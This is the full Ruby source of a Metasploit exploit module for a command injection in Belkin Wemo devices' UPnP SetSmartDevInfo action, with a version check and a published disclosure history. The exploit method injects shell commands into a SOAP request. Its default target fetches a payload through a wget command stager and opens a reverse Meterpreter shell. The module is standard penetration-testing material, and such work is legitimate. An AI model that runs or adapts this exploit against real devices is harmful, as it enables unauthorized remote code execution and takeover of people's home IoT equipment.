## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Belkin Wemo UPnP Remote Code Execution', 'Description' => %q{ This module exploits a command injection in the Belkin Wemo UPnP API via the SmartDevURL argument to the SetSmartDevInfo action. This module has been tested on a Wemo-enabled Crock-Pot, but other Wemo devices are known to be affected, albeit on a different RPORT (49153). }, 'Author' => [ 'phikshun', # Discovery, UFuzz, and modules 'wvu', # Crock-Pot testing and module 'nstarke' # Version-checking research and implementation ], 'References' => [ ['URL', 'https://web.archive.org/web/20150901094849/http://disconnected.io/2014/04/04/universal-plug-and-fuzz/'], ['URL', 'https://github.com/phikshun/ufuzz'], ['URL', 'https://gist.github.com/phikshun/10900566'], ['URL', 'https://gist.github.com/phikshun/9984624'], ['URL', 'https://www.crock-pot.com/wemo-landing-page.html'], ['URL', 'https://www.belkin.com/us/support-article?articleNum=101177'], ['URL', 'http://www.wemo.com/'] ], 'DisclosureDate' => '2014-04-04', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_MIPSLE], 'Privileged' => true, 'Targets' => [ ['Unix In-Memory', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' } ], ['Linux Dropper', 'Platform' => 'linux', 'Arch' => ARCH_MIPSLE, 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } ] ], 'DefaultTarget' => 1, 'Notes' => { 'NOCVE' => 'Patched in 2.00.8643 without vendor disclosure', 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK], 'Reliability' => [REPEATABLE_SESSION] } )) register_options([ Opt::RPORT(49152) ]) register_advanced_options([ OptBool.new('ForceExploit', [true, 'Override check result', false]), OptString.new('WritableDir', [true, 'Writable directory', '/tmp']) ]) end def check checkcode = CheckCode::Unknown res = send_request_cgi( 'method' => 'GET', 'uri' => '/setup.xml' ) unless res && res.code == 200 && res.body.include?('urn:Belkin:device:') vprint_error('Wemo-enabled device not detected') return checkcode end vprint_good('Wemo-enabled device detected') checkcode = CheckCode::Detected version = (v = res.get_xml_document.at('firmwareVersion')&.text) && v =~ /WeMo_WW_(\d+(?:\.\d+)+)/ && $1 && Gem::Version.new($1) unless version vprint_error('Could not determine firmware version') return checkcode end vprint_status("Found firmware version: #{version}") # https://www.tripwire.com/state-of-security/featured/my-sector-story-root-shell-on-the-belkin-wemo-switch/ if version < Gem::Version.new('2.00.8643') vprint_good("Firmware version #{version} < 2.00.8643") checkcode = CheckCode::Appears else vprint_error("Firmware version #{version} >= 2.00.8643") checkcode = CheckCode::Safe end checkcode end def exploit checkcode = check unless datastore['ForceExploit'] unless checkcode == CheckCode::Appears fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end end case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper cmdstager = generate_cmdstager( flavor: 'wget', temp: datastore['WritableDir'], file: File.basename(cmdstager_path), noconcat: true ) # HACK: "chmod +x" cmdstager.unshift("cp /bin/sh #{cmdstager_path}") cmdstager.delete_if { |cmd| cmd.start_with?('chmod +x') } cmdstager = cmdstager.join(';') vprint_status("Regenerated command stager: #{cmdstager}") execute_command(cmdstager) end end def execute_command(cmd, opts = {}) send_request_cgi( 'method' => 'POST', 'uri' => '/upnp/control/basicevent1', 'ctype' => 'text/xml', 'headers' => { 'SOAPACTION' => '"urn:Belkin:service:basicevent:1#SetSmartDevInfo"' }, 'data' => generate_soap_xml(cmd) ) end def generate_soap_xml(cmd) <<~EOF $(#{cmd.encode(xml: :text)}) EOF end def cmdstager_path @cmdstager_path ||= "#{datastore['WritableDir']}/#{rand_text_alphanumeric(8..42)}" end end